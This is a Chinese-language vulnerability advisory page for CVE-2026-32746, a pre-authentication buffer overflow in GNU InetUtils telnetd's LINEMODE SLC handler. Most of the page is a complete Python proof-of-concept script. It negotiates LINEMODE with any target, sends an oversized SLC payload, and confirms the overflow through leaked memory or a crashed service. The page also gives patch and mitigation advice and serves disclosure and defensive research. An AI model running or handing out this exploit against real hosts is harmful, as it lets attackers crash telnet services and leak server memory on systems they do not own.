[remote] telnetd 2.7 - Buffer Overflow
GNU InetUtils telnetd 2.7 之前版本的 SLC 处理函数存在堆栈缓冲区溢出,可导致预认证远程代码执行。
Critical · CVSS 9.8📋 漏洞基础信息
| CVE | CVE-2026-32746 |
|---|---|
| 漏洞类型 | 堆栈缓冲区溢出 |
| 受影响版本 | GNU InetUtils telnetd 2.7 及之前版本(inetutils-telnetd) |
| 危害等级 | Critical · CVSS 9.8 |
| 发布日期 | 2026-05-07 |
| 提交者 | Jeff Barron (jeffaf) |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
在 telnetd/slc.c 的 add_slc() 函数中,向一个固定的 108 字节缓冲区 slcbuf 追加每个 SLC 三元组的 3 字节数据时,未进行边界检查,导致超过 34 个三元组即可溢出缓冲区,覆盖相邻的 BSS 数据(包括 slcptr 指针)。
🎯 攻击场景
1. 攻击者连接目标主机的 telnetd 服务(默认端口 23)。 2. 攻击者通过正常选项协商进入 LINEMODE。 3. 攻击者发送一个包含 40 个以上 SLC 三元组(函数码 > NSLC/18)的恶意 LINEMODE SLC 子选项。 4. 服务器端 add_slc() 函数处理时,将三元组数据写入 slcbuf,导致缓冲区溢出,覆盖 slcptr 指针。 5. 当 end_slc() 函数运行时,它会通过被破坏的 slcptr 指针进行写入,导致任意内存写入。 6. 成功标志:服务器响应数据中包含溢出的 BSS 数据(BSS 泄漏),或服务器进程崩溃。
💥 漏洞影响
预认证远程代码执行(RCE),以 root 权限完全控制目标主机。攻击者可以执行任意代码、窃取数据、植入后门或进行拒绝服务(DoS)。
⚔️ 原始 PoC
1. `negotiate_linemode()`: 通过交互式选项协商,使服务器进入 LINEMODE 模式,触发 SLC 处理逻辑。 2. `build_slc_payload()`: 构造一个超过 34 个 SLC 三元组的 LINEMODE SLC 子选项,每个三元组使用大于 NSLC(18)的函数码,触发 `add_slc()` 的有漏洞代码路径,使其在 108 字节的 slcbuf 中累积三元组,导致溢出。 3. `exploit()`: 发送恶意 payload,然后接收服务器响应,通过 `find_slc_response()` 提取 SLC 响应数据。如果响应长度超过 104 字节(slcbuf 可用大小),或与发送的三元组数据大小相同,则溢出被确认,否则通过检查服务是否存活来确认崩溃。
# Exploit Author: Jeff Barron (jeffaf)
# CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
#
# DREAM Advisory: https://dreamgroup.com/vulnerability-advisory-pre-auth-remote-code-execution-via-buffer-overflow-in-telnetd-linemode-slc-handler/
# WatchTowr: https://labs.watchtowr.com/
# GNU Disclosure: https://lists.gnu.org/archive/html/bug-inetutils/2026-03/msg00031.html
# Fix (PR #17): https://codeberg.org/inetutils/inetutils/pulls/17
# NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32746
#
# Notes:
# The add_slc() function in telnetd/slc.c appends 3 bytes per SLC triplet to a
# fixed 108-byte buffer (slcbuf) with no bounds checking. Sending a crafted
# LINEMODE SLC suboption with 40+ triplets (function codes > NSLC/18) during
# initial option negotiation -- before any login prompt -- overflows slcbuf,
# corrupts the slcptr pointer, and leaks adjacent BSS data in the server
# response. telnetd runs as root via inetd/xinetd; the vendor advisory (DREAM
# Security, Advisory ID: VULN-TELNETD-SLC-2025, published 2026-03-13) confirms
# full pre-auth RCE as root is achievable. This PoC demonstrates and verifies
# the overflow via response analysis (BSS leak in server reply). It does NOT
# include shellcode or a ROP chain. Full exploitation analysis including byte
# constraints, alignment techniques, and the def_slcbuf/free() primitive on
# 32-bit systems is covered in the WatchTowr writeup linked above.
# Docker lab: https://github.com/jeffaf/cve-2026-32746
#
# Vulnerability discovered by: Adiel Sol, Arad Inbar, Erez Cohen, Nir Somech,
# Ben Grinberg, Daniel Lubel (Dream Security Research Labs). Disclosed 2026-03-13.
# This is an independent PoC implementation.
"""
CVE-2026-32746 - telnetd LINEMODE SLC Buffer Overflow PoC
==========================================================
Triggers an out-of-bounds write in GNU InetUtils telnetd's SLC handler
by sending a crafted LINEMODE SLC suboption with excess triplets.
The overflow corrupts the slcptr pointer in BSS. When end_slc() runs,
it writes via the corrupted pointer. The server's SLC response contains
the overflow data (leaked BSS bytes), providing direct proof.
This PoC demonstrates and verifies the overflow via response analysis.
It does NOT achieve code execution.
Usage:
python3 exploit.py <target_ip> [port]
For authorized security testing only.
"""
import argparse
import socket
import sys
import time
# Telnet protocol bytes
IAC = 0xFF
DONT = 0xFE
DO = 0xFD
WONT = 0xFC
WILL = 0xFB
SB = 0xFA
SE = 0xF0
# Options
OPT_ECHO = 0x01
OPT_SGA = 0x03
OPT_TTYPE = 0x18 # 24
OPT_TSPEED = 0x20 # 32
OPT_LINEMODE = 0x22 # 34
OPT_XDISPLOC = 0x23 # 35
OPT_OLD_ENVIRON = 0x24 # 36
OPT_NEW_ENVIRON = 0x27 # 39
OPT_NAWS = 0x1F # 31
# LINEMODE suboption codes
LM_SLC = 0x03
# SLC constants from source
NSLC = 18 # Number of defined SLC functions
# Buffer geometry
SLCBUF_SIZE = 108 # Total slcbuf allocation
SLCBUF_USABLE = 104 # Usable after 4-byte header (IAC SB LINEMODE SLC)
def recv_all(s, timeout=2):
"""Receive all available data with a timeout."""
s.settimeout(timeout)
chunks = []
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
chunks.append(chunk)
except socket.timeout:
pass
return b''.join(chunks)
def negotiate_linemode(s):
"""Complete telnet negotiation and enter LINEMODE.
Full negotiation is required: the server only processes SLC and
returns responses after all expected suboptions (TTYPE, TSPEED,
XDISPLOC, NEW_ENVIRON, NAWS) have been received.
"""
# Round 1: Read server's initial option offers
print("[*] Phase 1: Reading server negotiation...")
time.sleep(1)
try:
data = recv_all(s)
except ConnectionResetError:
# Server closed connection before we could send or receive
print(f"[-] Connection reset during negotiation")
return False
if not data:
print("[-] No negotiation data received")
return False
print(f" Received {len(data)} bytes of negotiation")
# Build responses: accept everything, add WILL LINEMODE
resp = bytearray()
i = 0
while i < len(data) - 2:
if data[i] == IAC:
cmd = data[i + 1]
opt = data[i + 2]
if cmd == DO:
resp.extend([IAC, WILL, opt])
elif cmd == WILL:
resp.extend([IAC, DO, opt])
i += 3
else:
i += 1
# Proactively offer LINEMODE (triggers server's SLC handler)
resp.extend([IAC, WILL, OPT_LINEMODE])
# Required suboption responses - server stalls without these
resp.extend([IAC, SB, OPT_TTYPE, 0x00])
resp.extend(b'xterm')
resp.extend([IAC, SE])
resp.extend([IAC, SB, OPT_TSPEED, 0x00])
resp.extend(b'38400,38400')
resp.extend([IAC, SE])
resp.extend([IAC, SB, OPT_XDISPLOC, 0x00])
resp.extend(b':0')
resp.extend([IAC, SE])
resp.extend([IAC, SB, OPT_NEW_ENVIRON, 0x00, IAC, SE])
resp.extend([IAC, SB, OPT_OLD_ENVIRON, 0x00, IAC, SE])
s.send(resp)
print(f" Sent {len(resp)} bytes (negotiation + WILL LINEMODE)")
# Round 2: Server sends DO LINEMODE + additional option requests
print("[*] Phase 2: Completing negotiation...")
time.sleep(1)
data2 = recv_all(s, timeout=3)
if not data2:
print("[-] No response to LINEMODE offer")
return False
got_linemode = False
resp2 = bytearray()
i = 0
while i < len(data2) - 2:
if data2[i] == IAC:
cmd = data2[i + 1]
if cmd == SB:
# Find end of suboption
j = i + 2
while j < len(data2) - 1:
if data2[j] == IAC and data2[j + 1] == SE:
break
j += 1
opt = data2[i + 2]
if opt == OPT_TTYPE and i + 3 < len(data2) and data2[i + 3] == 0x01:
resp2.extend([IAC, SB, OPT_TTYPE, 0x00])
resp2.extend(b'xterm')
resp2.extend([IAC, SE])
elif opt == OPT_NEW_ENVIRON:
resp2.extend([IAC, SB, OPT_NEW_ENVIRON, 0x00, IAC, SE])
i = j + 2
elif cmd == DO:
opt = data2[i + 2]
if opt == OPT_LINEMODE:
got_linemode = True
resp2.extend([IAC, WILL, opt])
if opt == OPT_NAWS:
resp2.extend([IAC, SB, OPT_NAWS,
0x00, 0x50, 0x00, 0x18, IAC, SE])
i += 3
elif cmd == WILL:
resp2.extend([IAC, DO, data2[i + 2]])
i += 3
elif cmd in (DONT, WONT):
i += 3
else:
i += 2
else:
i += 1
if resp2:
s.send(resp2)
if got_linemode:
print("[+] Server accepted LINEMODE (DO LINEMODE received)")
else:
print("[-] Server did not accept LINEMODE")
print(" This may not be GNU InetUtils telnetd")
return False
# Round 3: Wait for terminal setup and login prompt
# Server sends SLC defaults + login prompt after full negotiation
time.sleep(3)
data3 = recv_all(s, timeout=5)
if data3:
# Respond to any remaining option requests
resp3 = bytearray()
i = 0
while i < len(data3) - 2:
if data3[i] == IAC:
cmd = data3[i + 1]
if cmd == DO:
resp3.extend([IAC, WILL, data3[i + 2]])
i += 3
elif cmd == WILL:
resp3.extend([IAC, DO, data3[i + 2]])
i += 3
elif cmd == SB:
j = i + 2
while j < len(data3) - 1:
if data3[j] == IAC and data3[j + 1] == SE:
break
j += 1
i = j + 2
else:
i += 3 if cmd in (DONT, WONT) else i + 2
else:
i += 1
if resp3:
s.send(resp3)
return True
def build_slc_payload(num_triplets):
"""Build a malicious SLC suboption with overflow triplets.
Each triplet has a function code > NSLC (18), which forces
add_slc() to queue a "not supported" reply. After ~35 triplets,
the 104-byte response buffer overflows.
Buffer math:
slcbuf = 108 bytes total
Header = 4 bytes (IAC SB LINEMODE LM_SLC)
Usable = 104 bytes
Per triplet reply = 3 bytes
Overflow at: 104 / 3 = ~34.6 -> triplet 35
"""
payload = bytearray()
# Suboption header: IAC SB LINEMODE LM_SLC
payload.extend([IAC, SB, OPT_LINEMODE, LM_SLC])
# SLC triplets: (function, flags, value)
# function > NSLC triggers the vulnerable add_slc() path
for i in range(num_triplets):
func = NSLC + 1 + i
if func >= IAC: # Can't use 0xFF (IAC) in data
func = 0xFE
payload.extend([func, 0x02, 0x00]) # flag=SLC_NOSUPPORT, value=0
# Suboption trailer: IAC SE
payload.extend([IAC, SE])
return payload
def find_slc_response(data):
"""Extract SLC suboption body from telnet data.
Returns the SLC body bytes (between header and IAC SE),
or None if no SLC suboption found.
"""
i = 0
while i < len(data) - 3:
if (data[i] == IAC and data[i + 1] == SB and
data[i + 2] == OPT_LINEMODE and
i + 3 < len(data) and data[i + 3] == LM_SLC):
# Found SLC suboption, extract body until IAC SE
k = i + 4
while k < len(data) - 1:
if data[k] == IAC and data[k + 1] == SE:
return data[i + 4:k]
k += 1
# Unterminated - return what we have
return data[i + 4:]
i += 1
return None
def check_service_alive(host, port):
"""Verify service state with a fresh connection."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((host, port))
probe = recv_all(s, timeout=3)
s.close()
return True, len(probe)
except (socket.error, OSError):
return False, 0
def exploit(host, port, triplets, timeout):
"""Send the SLC overflow payload and verify via response analysis."""
print(f"\n{'=' * 60}")
print(f" CVE-2026-32746 - telnetd SLC Buffer Overflow PoC")
print(f"{'=' * 60}")
print(f" Target: {host}:{port}")
print(f" Triplets: {triplets} (overflow at ~35)")
print(f"{'=' * 60}\n")
# Connect
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((host, port))
print(f"[+] Connected to {host}:{port}")
except (socket.error, OSError) as e:
print(f"[-] Connection failed: {e}")
return False
# Negotiate into LINEMODE
if not negotiate_linemode(s):
print("\n[-] Failed to enter LINEMODE - cannot trigger vulnerability")
s.close()
return False
# Build and send the overflow payload
payload = build_slc_payload(triplets)
data_bytes = triplets * 3
overflow_bytes = data_bytes - SLCBUF_USABLE
print(f"\n[*] Phase 3: Sending malicious SLC suboption")
print(f" Payload size: {len(payload)} bytes")
print(f" SLC triplets: {triplets}")
print(f" Buffer size: {SLCBUF_USABLE} bytes (usable)")
print(f" Data written: {data_bytes} bytes")
print(f" Overflow: {overflow_bytes} bytes past buffer end")
try:
s.send(payload)
print(f"[+] Payload sent")
except (BrokenPipeError, ConnectionResetError):
print("[+] Connection reset during send - server crashed")
s.close()
return True
# Phase 4: Verify overflow via SLC response analysis
print(f"\n[*] Phase 4: Analyzing server response...")
time.sleep(2)
overflow_confirmed = False
crash_detected = False
try:
resp = recv_all(s, timeout=3)
if resp:
slc_body = find_slc_response(resp)
if slc_body is not None:
print(f" SLC response body: {len(slc_body)} bytes")
print(f" Expected (no overflow): {SLCBUF_USABLE} bytes max")
if len(slc_body) > SLCBUF_USABLE:
leak_count = len(slc_body) - SLCBUF_USABLE
overflow_confirmed = True
print(f"[+] OVERFLOW CONFIRMED: {leak_count} bytes past buffer boundary")
print(f" Server response contains leaked BSS memory")
# Show leaked data
leaked = slc_body[SLCBUF_USABLE:]
hex_dump = ' '.join(f'{b:02x}' for b in leaked[:48])
print(f" Leaked BSS: {hex_dump}"
f"{'...' if len(leaked) > 48 else ''}")
elif len(slc_body) == data_bytes:
# Server wrote all triplet data without truncation
overflow_confirmed = True
print(f"[+] OVERFLOW CONFIRMED: server wrote {len(slc_body)} bytes "
f"into {SLCBUF_USABLE}-byte buffer")
else:
print(f"[!] SLC response within buffer bounds ({len(slc_body)} bytes)")
else:
print(f"[!] Server responded ({len(resp)} bytes) but no SLC suboption found")
else:
print("[!] No response data received")
except (ConnectionResetError, BrokenPipeError, OSError) as e:
print(f"[+] Connection error after payload: {e}")
crash_detected = True
s.close()
# Verify service state regardless of response analysis
if not overflow_confirmed and not crash_detected:
print("\n[*] Checking service state with fresh connection...")
alive, probe_len = check_service_alive(host, port)
if alive:
print(f"[*] Service still running ({probe_len} bytes on connect)")
print("[!] Overflow could not be verified via response analysis")
print(" Server may require additional negotiation steps,")
print(" or this telnetd version may not be vulnerable")
else:
print("[+] Service is DOWN after payload - crash confirmed")
crash_detected = True
# Final verdict
if overflow_confirmed:
print(f"\n[+] VULNERABLE - CVE-2026-32746 confirmed")
print(f" Out-of-bounds write in SLC handler verified")
print(f" Server response proves buffer overflow occurred")
return True
elif crash_detected:
print(f"\n[+] VULNERABLE - CVE-2026-32746 (crash)")
print(f" Server process terminated after overflow payload")
return True
else:
print(f"\n[-] Could not confirm vulnerability")
return False
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-32746 - telnetd SLC Buffer Overflow PoC",
epilog="For authorized security testing only."
)
parser.add_argument("host", help="Target IP address")
parser.add_argument("port", type=int, nargs="?", default=23,
help="Target port (default: 23)")
parser.add_argument("-n", "--triplets", type=int, default=60,
help="Number of SLC triplets to send (default: 60, overflow at ~35)")
parser.add_argument("-t", "--timeout", type=int, default=10,
help="Socket timeout in seconds (default: 10)")
args = parser.parse_args()
success = exploit(args.host, args.port, args.triplets, args.timeout)
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()🔬 深度技术分析
1. `negotiate_linemode()`: 通过交互式选项协商,使服务器进入 LINEMODE 模式,触发 SLC 处理逻辑。 2. `build_slc_payload()`: 构造一个超过 34 个 SLC 三元组的 LINEMODE SLC 子选项,每个三元组使用大于 NSLC(18)的函数码,触发 `add_slc()` 的有漏洞代码路径,使其在 108 字节的 slcbuf 中累积三元组,导致溢出。 3. `exploit()`: 发送恶意 payload,然后接收服务器响应,通过 `find_slc_response()` 提取 SLC 响应数据。如果响应长度超过 104 字节(slcbuf 可用大小),或与发送的三元组数据大小相同,则溢出被确认,否则通过检查服务是否存活来确认崩溃。
🛡️ 修复建议
应用修补程序:GNU InetUtils 的下一个版本已包含修复(PR #17,https://codeberg.org/inetutils/inetutils/pulls/17)。 临时缓解措施:禁用 telnetd 服务,或通过防火墙限制对 telnet 端口的访问。
📎 参考链接
- https://nvd.nist.gov/vuln/detail/CVE-2026-32746
- https://dreamgroup.com/vulnerability-advisory-pre-auth-remote-code-execution-via-buffer-overflow-in-telnetd-linemode-slc-handler/
- https://labs.watchtowr.com/
- https://lists.gnu.org/archive/html/bug-inetutils/2026-03/msg00031.html
- https://codeberg.org/inetutils/inetutils/pulls/17
- Exploit-DB 原文
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-09 17:16 | 来源: Exploit-DB